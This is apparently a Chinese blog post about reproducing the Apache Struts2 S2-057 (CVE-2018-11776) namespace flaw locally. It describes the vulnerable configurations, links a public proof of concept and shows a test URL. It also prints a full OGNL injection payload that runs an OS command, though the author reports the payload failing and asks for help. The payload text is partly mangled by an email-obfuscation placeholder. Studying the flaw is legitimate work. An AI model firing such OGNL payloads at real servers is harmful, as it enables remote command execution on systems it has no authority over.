S2-057 本地复现

下午正不慌不忙测着我的安卓应用呢,突然爆了个Struts2漏洞,心里咯噔一下,不会吧,上个月工作汇报还在吹水Struts2在升级OGNL后,很难由于不正当OGNL解析造成任意命令执行了。原文见:
https://blog.csdn.net/u013224189/article/details/81091874
怀着不安的心情,看了下漏洞信息,踏马的,还真是这个地方。Struts2 7月份升级的2.3系列的版本,就是封堵了namespace,8月份又发布了2.5最新版本,还是封堵这个地方,总的来说就是避免在没有正确配置的情况下,直接从URI获取namespace的值,并传入程序作为OGNL表达式解析。
由于自己是个小白,所以始终构造不出攻击场景,这次发现漏洞的作者直接在博客里面更新了漏洞细节
https://semmle.com/news/apache-struts-CVE-2018-11776
https://lgtm.com/blog/apache_struts_CVE-2018-11776
根据作者的描述,在以下两种情况下Struts2应用可能存在漏洞
1)当Struts2 的命名空间没有为基础xml配置中定义的结果设置值时,可能造成RCE,同时,其上部操作配置没有通配符namespace。

2)当使用url没有value和action设置的标签并且同时其上部动作配置没有或通配符时,命名空间的条件跟第一种情况相同。
满足下面的场景就可能被利用
场景一:
<struts>
  <package ....>
    <action name="a1">   //此处没有配置namespace,或namespace为通配符,如/*
      <result type="redirectAction">  //result type类型为redirectiAction
        <param name="actionName">a2.action</param>
      </result>
    </action>
  </package>
</struts>

场景二:
<s:url includeParams="get">
  <s:param name="id" value="%{'22'}" />
</s:url>

针对以上的情况,已经有大神公布了POC

https://github.com/jas502n/St2-057/blob/master/README.md

任意命令执行。想起一个月前的工作汇报,我的脸被打得啪啪啪响呀。
看下作者构造的POC,

首先,使用${(100+100)}
访问http://localhost:8888/struts2-showcase/${(100+100)}/actionChain1.action,OGNL表达式顺利的被执行,

http://localhost:8888/struts2-showcase/200/register2.action

可当我执行下面的POC时,却始终得不到我可爱的计算器

${(#_memberAccess["allowStaticMethodAccess"]=true,#a[email protected].Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

和S2-032的POC很像,作者也是这样说的。
拿到本地测试,却始终弹不出计算器。
调试时提示:
ognl.OgnlException:Eval expression/chained expressions have been disabled

哪位大神路过可以解答下吗?

发布了30 篇原创文章 · 获赞 13 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/u013224189/article/details/81980518
今日推荐